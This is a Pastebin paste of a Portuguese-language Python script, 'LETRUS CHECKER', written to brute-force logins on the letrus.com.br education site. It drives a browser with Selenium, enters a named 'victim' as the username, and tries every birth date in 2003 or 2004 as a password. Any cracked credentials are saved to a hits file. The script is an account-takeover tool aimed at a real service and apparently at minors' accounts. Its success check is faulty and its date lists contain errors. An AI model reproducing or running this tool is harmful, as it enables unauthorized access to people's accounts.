Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- LETRUS CHECKER
- .Brute force para contas letrus (letrus.com.br)
- .Anos disponiveis: 2003/2004
- Source Code:
- #Imports Principais
- from selenium import webdriver
- from selenium.webdriver.common.keys import Keys
- from bs4 import BeautifulSoup
- import sys, os, time, requests
- #Criando a funcao "printTitle"
- def printTitle():
- print("""
- ▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓ ▓ ▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓ ▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓ ▓ ▓▓▓▓▓ ▓▓▓▓
- ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓
- ▓ ▓▓▓ ▓ ▓▓▓ ▓ ▓ ▓▓▓▓▓▓ ▓ ▓▓▓▓▓▓ ▓▓▓▓ ▓ ▓▓ ▓▓▓ ▓▓▓
- ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓
- ▓▓▓▓ ▓▓▓▓▓▓ ▓ ▓ ▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓ ▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓ ▓ ▓▓▓▓▓ ▓ ▓
- B R U T E F O R C E A T T A C K
- """)
- #Trocando a cor do console
- os.system("color b")
- #Chamando a funcao "printTitle"
- printTitle()
- #Variaveis globais
- global nomeVitima
- global senhaEscolhida
- global numeroTentativas
- numeroTentativas = 0
- global y
- y = 0
- #Aguardando 3 segundos para continuar
- time.sleep(3)
- #Trocando a cor do console
- os.system("color f")
- #Solicitando credenciais necessarias
- nomeVitima = input("[*] Nome da vitima (primeiro e ultimo): ")
- dataListEscolhida = input("[*] Digite o ano da DataList desejada: ")
- if not nomeVitima:
- #Limpando o console
- os.system("cls")
- #Trocando a cor do console
- os.system("color c")
- print("ERROR! Especifique o email da vitima!")
- #Aguardando 3 segundos
- time.sleep(3)
- #Fechando o programa
- sys.exit()
- #Definindo a variavel "url"
- url = 'https://www.letrus.com.br/login'
- #Definindo a variavel "driver"
- driver = webdriver.Chrome("chromedriver.exe")
- #Entrando no site
- driver.get(url)
- #Limpando o console e chamando a funcao "printTitle"
- os.system("cls")
- printTitle()
- #Definindo elementos da pagina
- caixaUser = driver.find_element_by_name('username')
- caixaPassword = driver.find_element_by_id("password")
- botaoLogar = driver.find_element_by_tag_name("button")
- #Definindo a dataList 2003
- datasList2003 = [
- "010103",
- "020103",
- "030103",
- "040103",
- "050103",
- "060103",
- "070103",
- "080103",
- "090103",
- "100103",
- "110103",
- "120103",
- "130103",
- "140103",
- "150103",
- "160103",
- "170103",
- "180103",
- "190103",
- "200103",
- "210103",
- "220103",
- "230103",
- "240103",
- "250103",
- "260103",
- "270103",
- "280103",
- "290103",
- "300103",
- "310103",
- "010203",
- "020203",
- "030203",
- "040203",
- "050203",
- "060203",
- "070203",
- "080203",
- "090203",
- "100203",
- "110203",
- "120203",
- "130203",
- "140203",
- "150203",
- "160203",
- "170203",
- "180203",
- "190203",
- "200203",
- "210203",
- "220203",
- "230203",
- "240203",
- "250203",
- "260203",
- "270203",
- "280203",
- "290203",
- "300203",
- "310203",
- "010303",
- "020303",
- "030303",
- "040303",
- "050303",
- "060303",
- "070303",
- "080303",
- "090303",
- "100303",
- "110303",
- "120303",
- "130303",
- "140303",
- "150303",
- "160303",
- "170303",
- "180303",
- "190303",
- "200303",
- "210303",
- "220303",
- "230303",
- "240303",
- "250303",
- "260303",
- "270303",
- "280303",
- "290303",
- "300303",
- "310303",
- "010403",
- "020403",
- "030403",
- "040403",
- "050403",
- "060403",
- "070403",
- "080403",
- "090403",
- "100403",
- "110403",
- "120403",
- "130403",
- "140403",
- "150403",
- "160403",
- "170403",
- "180403",
- "190403",
- "200403",
- "210403",
- "220403",
- "230403",
- "240403",
- "250403",
- "260403",
- "270403",
- "280403",
- "290403",
- "300403",
- "310403",
- "010503",
- "020503",
- "030503",
- "040503",
- "050503",
- "060503",
- "070503",
- "080503",
- "090503",
- "100503",
- "110503",
- "120503",
- "130503",
- "140503",
- "150503",
- "160503",
- "170503",
- "180503",
- "190503",
- "200503",
- "210503",
- "220503",
- "230503",
- "240503",
- "250503",
- "260503",
- "270503",
- "280503",
- "290503",
- "300503",
- "310503",
- "010603",
- "020603",
- "030603",
- "040603",
- "050603",
- "060603",
- "070603",
- "080603",
- "090603",
- "100603",
- "110603",
- "120603",
- "130603",
- "140603",
- "150603",
- "160603",
- "170603",
- "180603",
- "190603",
- "200603",
- "210603",
- "220603",
- "230603",
- "240603",
- "250603",
- "260603",
- "270603",
- "280603",
- "290603",
- "300603",
- "310603",
- "010703",
- "020703",
- "030703",
- "040703",
- "050703",
- "060703",
- "070703",
- "080703",
- "090703",
- "100703",
- "110703",
- "120703",
- "130703",
- "140703",
- "150703",
- "160703",
- "170703",
- "180703",
- "190703",
- "200703",
- "210703",
- "220703",
- "230703",
- "240703",
- "250703",
- "260703",
- "270703",
- "280703",
- "290703",
- "300703",
- "310703",
- "010803",
- "020803",
- "030803",
- "040803",
- "050803",
- "060803",
- "070803",
- "080803",
- "090803",
- "100803",
- "110803",
- "120803",
- "130803",
- "140803",
- "150803",
- "160803",
- "170803",
- "180803",
- "190803",
- "200803",
- "210803",
- "220803",
- "230803",
- "240803",
- "250803",
- "260803",
- "270803",
- "280803",
- "290803",
- "300803",
- "310803",
- "010903",
- "020903",
- "030903",
- "040903",
- "050903",
- "060903",
- "070903",
- "080903",
- "090903",
- "100903",
- "110903",
- "120903",
- "130903",
- "140903",
- "150903",
- "160903",
- "170903",
- "180903",
- "190903",
- "200903",
- "210903",
- "220903",
- "230903",
- "240903",
- "250903",
- "260903",
- "270903",
- "280903",
- "290903",
- "300903",
- "310903",
- "011003",
- "021003",
- "031003",
- "041003",
- "051003",
- "061003",
- "071003",
- "081003",
- "091003",
- "101003",
- "111003",
- "121003",
- "131003",
- "141003",
- "151003",
- "161003",
- "171003",
- "181003",
- "191003",
- "201003",
- "211003",
- "221003",
- "231003",
- "241003",
- "291003",
- "301003",
- "311003",
- "011103",
- "021103",
- "031103",
- "041103",
- "051103",
- "061103",
- "071103",
- "081103",
- "091103",
- "101103",
- "111103",
- "121103",
- "131103",
- "141103",
- "151103",
- "161103",
- "171103",
- "181103",
- "191103",
- "201103",
- "211103",
- "221103",
- "231103",
- "241103",
- "251103",
- "261103",
- "271103",
- "281103",
- "291103",
- "301103",
- "311103",
- "011203",
- "021203",
- "031203",
- "041203",
- "051203",
- "061203",
- "071203",
- "081203",
- "091203",
- "101203",
- "111203",
- "121203",
- "131203",
- "141203",
- "151203",
- "161203",
- "171203",
- "181203",
- "191203",
- "201203",
- "211203",
- "221203",
- "231203",
- "241203",
- "251203",
- "261203",
- "271203",
- "281203",
- "291203",
- "301203",
- "311203"
- ]
- #Definindo a dataList 2004
- datasList2004 = [
- "010104",
- "020104",
- "030104",
- "040104",
- "050104",
- "060104",
- "070104",
- "080104",
- "090104",
- "100104",
- "110104",
- "120104",
- "130104",
- "140104",
- "150104",
- "160104",
- "170104",
- "180104",
- "190104",
- "200104",
- "210104",
- "220104",
- "230104",
- "240104",
- "250104",
- "260104",
- "270104",
- "280104",
- "290104",
- "300104",
- "310104",
- "010204",
- "020204",
- "030204",
- "040204",
- "050204",
- "060204",
- "070204",
- "080204",
- "090204",
- "100204",
- "110204",
- "120204",
- "130204",
- "140204",
- "150204",
- "160204",
- "170204",
- "180204",
- "190204",
- "200204",
- "210204",
- "220204",
- "230204",
- "240204",
- "250204",
- "260204",
- "270204",
- "280204",
- "290204",
- "300204",
- "310204",
- "010304",
- "020304",
- "030304",
- "040304",
- "050304",
- "060304",
- "070304",
- "080304",
- "090304",
- "100304",
- "110304",
- "120304",
- "130304",
- "140304",
- "150304",
- "160304",
- "170304",
- "180304",
- "190304",
- "200304",
- "210304",
- "220304",
- "230304",
- "240304",
- "250304",
- "260304",
- "270304",
- "280304",
- "290304",
- "300304",
- "310304",
- "010404",
- "020404",
- "030404",
- "040404",
- "050404",
- "060404",
- "070404",
- "080404",
- "090404",
- "100404",
- "110404",
- "120404",
- "130404",
- "140404",
- "150404",
- "160404",
- "170404",
- "180404",
- "190404",
- "200404",
- "210404",
- "220404",
- "230404",
- "240404",
- "250404",
- "260404",
- "270404",
- "280404",
- "290404",
- "300404",
- "310404",
- "010504",
- "020504",
- "030504",
- "040504",
- "050504",
- "060504",
- "070504",
- "080504",
- "090504",
- "100504",
- "110504",
- "120504",
- "130504",
- "140504",
- "150504",
- "160504",
- "170504",
- "180504",
- "190504",
- "200504",
- "210504",
- "220504",
- "230504",
- "240504",
- "250504",
- "260504",
- "270504",
- "280504",
- "290504",
- "300504",
- "310504",
- "010604",
- "020604",
- "030604",
- "040603",
- "050604",
- "060604",
- "070604",
- "080604",
- "090604",
- "100604",
- "110604",
- "120604",
- "130604",
- "140604",
- "150604",
- "160604",
- "170604",
- "180604",
- "190604",
- "200604",
- "210604",
- "220604",
- "230604",
- "240604",
- "250604",
- "260604",
- "270604",
- "280604",
- "290604",
- "300604",
- "310604",
- "010704",
- "020704",
- "030704",
- "040704",
- "050704",
- "060704",
- "070704",
- "080704",
- "090704",
- "100704",
- "110704",
- "120704",
- "130704",
- "140704",
- "150704",
- "160704",
- "170704",
- "180704",
- "190704",
- "200704",
- "210704",
- "220704",
- "230704",
- "240704",
- "250704",
- "260704",
- "270704",
- "280703",
- "290703",
- "300704",
- "310704",
- "010804",
- "020804",
- "030804",
- "040804",
- "050804",
- "060804",
- "070804",
- "080804",
- "090804",
- "100804",
- "110804",
- "120804",
- "130804",
- "140804",
- "150804",
- "160804",
- "170804",
- "180804",
- "190804",
- "200804",
- "210804",
- "220804",
- "230804",
- "240804",
- "250804",
- "260804",
- "270804",
- "280804",
- "290804",
- "300804",
- "310804",
- "010904",
- "020904",
- "030903",
- "040904",
- "050904",
- "060904",
- "070904",
- "080904",
- "090904",
- "100904",
- "110904",
- "120904",
- "130904",
- "140904",
- "150904",
- "160904",
- "170904",
- "180904",
- "190904",
- "200904",
- "210904",
- "220904",
- "230904",
- "240904",
- "250904",
- "260904",
- "270904",
- "280904",
- "290904",
- "300904",
- "310904",
- "011004",
- "021004",
- "031004",
- "041004",
- "051004",
- "061004",
- "071004",
- "081004",
- "091004",
- "101004",
- "111004",
- "121004",
- "131004",
- "141004",
- "151004",
- "161004",
- "171004",
- "181004",
- "191004",
- "201004",
- "211004",
- "221004",
- "231004",
- "241004",
- "291004",
- "301004",
- "311004",
- "011104",
- "021104",
- "031104",
- "041104",
- "051104",
- "061104",
- "071104",
- "081104",
- "091104",
- "101104",
- "111104",
- "121104",
- "131104",
- "141104",
- "151104",
- "161104",
- "171104",
- "181104",
- "191104",
- "201104",
- "211104",
- "221104",
- "231104",
- "241104",
- "251104",
- "261104",
- "271104",
- "281104",
- "291104",
- "301104",
- "311104",
- "011204",
- "021204",
- "031204",
- "041204",
- "051204",
- "061204",
- "071204",
- "081204",
- "091204",
- "101204",
- "111204",
- "121204",
- "131204",
- "141204",
- "151204",
- "161204",
- "171204",
- "181204",
- "191204",
- "201204",
- "211204",
- "221204",
- "231204",
- "241204",
- "251204",
- "261204",
- "271204",
- "281204",
- "291204",
- "301204",
- "311204"
- ]
- #Criando a funcao responsavel por pegar senha por senha da lista "datasList"
- def catchPassword():
- #Chamando a variavel "y"
- global y
- #Chamando a variavel "senhaEscolida"
- global senhaEscolhida
- #Caso a dataList escolhida for "2003"
- if dataListEscolhida == "2003":
- for x in range(len(datasList2003)):
- senhaEscolhida = datasList2003[y]
- y+=1
- break
- #Caso a dataList escolhida for "2004"
- elif dataListEscolhida == "2004":
- for x in range(len(datasList2004)):
- senhaEscolhida = datasList2004[y]
- y+=1
- break
- #Caso uma dataList invalida seja escolhida
- else:
- #Fechando o programa
- sys.exit()
- #Inserindo o email da vitima
- caixaUser.send_keys(nomeVitima)
- #Criando um loop While para realizar o brute force
- try:
- while True:
- #Dando 1 segundo de delay para a seguranca da execucao do sistema
- time.sleep(1)
- #Limpando os campos de credenciais (campo da senha)
- caixaPassword.clear()
- #Puxando a funcao "catchPassword"
- catchPassword()
- #Inserindo uma possivel senha aleatoria
- time.sleep(0.5)
- caixaPassword.send_keys(senhaEscolhida)
- #Interagindo com o botao de login para tentar iniciar a sessao
- botaoLogar.click()
- print(f"[*] Trying: {nomeVitima}:{senhaEscolhida}")
- #Adicionando 1 no numero de tentativas
- numeroTentativas+=1
- #Verificacao de elementos na page
- def verificarExistencia(elemento):
- #Definindo a variavel "soup"
- soup = BeautifulSoup(elemento, "lxml")
- #Tentando localizar o elemento "password"
- try:
- tag = driver.find_element_by_name("password")
- #Caso consiga, retornar o valor True
- return True
- #Caso não localizar o elemento "password"
- except:
- #Caso não conseguir, retornar o valor False
- return False
- #Dando um request no link
- page = requests.get("https://www.letrus.com.br/login")
- #Criando a variavel "result" armazenando nela o resultado do check de existencia
- result = verificarExistencia(page.text)
- #Avaliando resultado do check
- if result == False:
- #Criando a variavel "check"
- check = os.path.isfile("Hits.txt")
- #Caso o arquivo "Hits.txt" exista
- if check == True:
- #Subscrevendo no arquivo
- arquivo = open("Hits.txt", "a")
- #Escrevendo credenciais no arquivo
- arquivo.write(f"\n{nomeVitima}:{senhaEscolhida}")
- arquivo.close()
- #Caso o arquivo "Hits.txt" não exista
- elif check == False:
- #Criando o arquivo "Hits.txt"
- arquivo = open("Hits.txt", "w+")
- #Escrevendo credenciais no arquivo
- arquivo.write(f"{nomeVitima}:{senhaEscolhida}")
- arquivo.close()
- #Parando o loop
- break
- print("\n[*] Credenciais corretas!")
- #Caso o usuario de CTRL + C
- except KeyboardInterrupt:
- print(f"\n[*] Brute force interrompido | {numeroTentativas} Tentativas")
- #Pedindo permissao para finalizar o programa
- input("\n\nAperte ENTER para fechar o programa.")
- #Fechando o programa
- sys.exit()
Add Comment
Please, Sign In to add comment